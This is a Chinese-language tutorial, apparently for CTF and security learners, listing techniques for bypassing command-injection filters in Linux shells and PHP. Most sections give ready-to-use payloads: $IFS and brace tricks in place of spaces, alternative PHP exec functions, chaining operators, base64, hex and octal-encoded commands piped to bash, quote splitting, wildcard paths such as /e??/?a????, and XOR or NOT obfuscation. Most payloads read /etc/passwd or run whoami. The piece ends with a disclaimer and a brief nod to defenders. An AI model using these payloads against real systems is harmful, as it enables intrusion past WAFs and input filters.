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在Linux环境下，远程代码执行（RCE，Remote Code Execution）是一种常见的攻击手段。然而，许多系统会对命令注入进行过滤或限制，例如禁止特定关键字（如system）、斜杠（/）或空格等。为了绕过这些限制，攻击者开发了多种技术，利用Shell特性、编码方式和系统漏洞实现命令执行。本文将系统性地总结Linux Shell RCE的绕过方法。

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一、空格绕过

原理

在Bash中，命令和参数之间通常需要用空格分隔。然而，当空格被过滤时，可以利用Bash的变量、特殊字符或编码来替代空格，从而绕过限制。这些替代方法本质上是利用了Shell的解析机制，将非空格字符转换为等效的分隔符。

方法与语法

1. 使用$IFS（Internal Field Separator）

   • $IFS是Bash的内置变量，默认值为空格、制表符和换行符。可以用它替代空格。
   • 示例：cat$IFS/etc/passwd 等价于 cat /etc/passwd。
   • 变种：
     • ${IFS}：显式调用变量。
     • $IFS$9：结合位置参数$9（通常为空），增加混淆性。

2. 使用制表符或URL编码

   • %09（Tab键的URL编码）和%20（空格的URL编码）在某些场景下可被解析为分隔符。
   • 示例：cat%09/etc/passwd。

3. 使用重定向符号

   • <、> 和 <> 可以用来构造命令，避免直接使用空格。
   • 示例：cat</etc/passwd。

4. 使用大括号分隔

   • {} 是一种参数扩展语法，可以将命令和参数分隔开。
   • 示例：{cat,/etc/passwd}，Bash会将其解析为cat /etc/passwd。

5. 使用注释符号（类似SQL注入）

   • 在某些WAF或过滤规则中，/**/可以用作分隔符。
   • 示例：cat/**//etc/passwd。

应用场景

空格绕过适用于Web应用或Shell脚本中对空格进行严格过滤的场景。例如，当输入被限制为单一字符串时，上述方法可以有效规避限制。

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二、命令执行函数绕过

原理

在PHP等语言中，system() 是常见的命令执行函数。如果system()被过滤，可以使用其他等效函数或操作符（如反引号）绕过。这些函数在底层调用系统Shell，功能类似。

方法与语法

1. 替代函数

   • passthru()：执行命令并输出结果。
   • exec()：执行命令并返回最后一行输出。
   • shell_exec()：执行命令并返回完整输出。
   • popen()：打开进程文件指针。
   • proc_open()：更灵活的进程控制函数。
   • pcntl_exec()：直接执行程序，适用于无Shell环境。
   • 示例：passthru("whoami") 或 shell_exec("cat /etc/passwd")。

2. 反引号（``）

   • 在PHP中，反引号等价于shell_exec()。
   • 示例：`whoami`。

应用场景

当Web应用禁用system()但未完全过滤其他命令执行函数时，这种方法非常有效。攻击者只需测试可用函数即可绕过。

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三、命令连接符绕过

原理

命令连接符用于组合多个命令，改变执行逻辑。不同的连接符在成功或失败条件下的行为不同，可用于绕过过滤或构造复杂命令。

方法与语法

1. 通用连接符（Windows和Linux均支持）

   • |：管道符，仅执行右侧命令的结果。
     • 示例：whoami | cat /etc/passwd。
   • ||：逻辑或，前命令失败时执行后命令。
     • 示例：false || whoami。
   • &：后台执行，前后命令均执行。
     • 示例：whoami & ls。
   • &&：逻辑与，前命令成功时执行后命令。
     • 示例：true && whoami。

2. Linux特有连接符

   • ;：顺序执行，前后命令依次运行。
     • 示例：whoami;cat /etc/passwd。

应用场景

当系统限制单一命令输入时，连接符可用于拼接多条命令，绕过长度或内容限制。

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四、严格过滤下的绕过

原理

当题目使用正则匹配某些字符时，常见的绕过手法时利用变量赋值、编码或拼接，将被过滤的关键字拆分为无害片段，最终在执行时还原为完整命令。

方法与语法

1. 变量赋值

   • 将命令拆分为变量，动态拼接。
   • 示例：

     a=c; b=a; c=t;
     $a$b$c /etc/passwd  # 等价于 cat /etc/passwd
     

2. Base64编码

   • 将命令编码为Base64，解码后执行。
   • 示例：

     echo 'cat /etc/passwd' | base64  # 输出：Y2F0IC9ldGMvcGFzc3dk
     echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
     

3. 十六进制（Hex）编码

   • 将命令转为Hex，解码后执行。
   • 示例：

     echo "636174202f6574632f706173737764" | xxd -r -p | bash  # cat /etc/passwd
     

4. 八进制（Octal）编码

   • 使用八进制表示字符。
   • 示例：

     $(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144")  # cat /etc/passwd
     

5. 字符串拼接

   • 将命令拆分为子字符串，用点号或引号拼接。
   • 示例：

     c''a''t /etc/passwd  # 单引号拼接
     c""a""t /etc/passwd  # 双引号拼接
     c``a``t /etc/passwd  # 反引号拼接
     c\a\t /etc/passwd    # 反斜杠拼接
     

6. 特殊变量

   • $*、$@、$1-$9、${x}（x>=10）在无参数时为空，可用于混淆。
   • 示例：

     wh$1oami    # whoami
     who$@ami    # whoami
     ca${21}t a.txt  # cat a.txt
     

7. 插入注释

   • 在命令中插入注释，绕过WAF规则。
   • 示例：

     system/*test*/("whoami")
     

应用场景

正则匹配绕过适用于关键字过滤严格的场景，例如WAF或IDS检测。

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五、通配符绕过

原理

Bash支持通配符（如*、?）和Glob模式，用于匹配文件名或路径。当路径或命令被过滤时，通配符可模糊匹配目标。

方法与语法

1. 基本通配符

   • ?：匹配单个字符。
   • *：匹配任意字符。
   • 示例：??? /e??/?a???? 匹配 cat /etc/passwd。

2. Glob模式

   • [a-z]：匹配范围内的字符。
   • {a,b,c}：匹配指定模式。
   • 示例：

     cat t[a-z]st    # 匹配类似 test 的文件
     cat t{a,b,c}st  # 匹配 tast、tbst、tcst
     

应用场景

当路径被部分过滤时，通配符可用于模糊匹配敏感文件。

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六、利用PATH变量绕过

原理

$PATH 是环境变量，包含系统命令的搜索路径。通过截取和拼接$PATH中的字符，可以构造命令。

方法与语法

• 示例：

  ${PATH:5:1}  # 输出 l
  ${PATH:2:1}  # 输出 s
  ${PATH:5:1}${PATH:2:1}  # 输出 ls
  

应用场景

当命令本身被禁用时，利用$PATH拼接是一种隐蔽的绕过方式。

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七、自增绕过

原理

在PHP中，字符串可以自增（如'a'++变为'b'）。通过构造初始字符并自增，可以生成任意字母。

方法与语法

• 示例：

  $_ = "Array";
  $_ = $_[0];  # A
  $__ = $_;
  $__++;  # B
  # 依次自增拼接出所需命令
  

应用场景

适用于字符输入受限的PHP环境。

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八、异或与取反绕过

原理

通过异或（^）或取反（~）运算，将命令转为不可读形式，绕过过滤。

方法与语法

1. 异或

   • 示例：

     ('GGGGGGG'^'7/7.)!(')();  # phpinfo()
     

2. 取反

   • 示例：

     echo urlencode(~'phpinfo');  # %8F%97%8F%96%91%99%90
     (~'%8F%97%8F%96%91%99%90')();
     

应用场景

当字母和数字被过滤时，异或和取反可生成不可打印字符，绕过检测。

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总结

Linux Shell RCE绕过技术多种多样，从空格替代到编码转换，再到通配符和变量操作，每种方法都利用了Shell或语言的特性。攻击者需根据具体过滤规则灵活组合这些技术，而防御者则应加强输入验证和命令执行控制。本文提供的方法仅为技术探讨，切勿用于非法用途。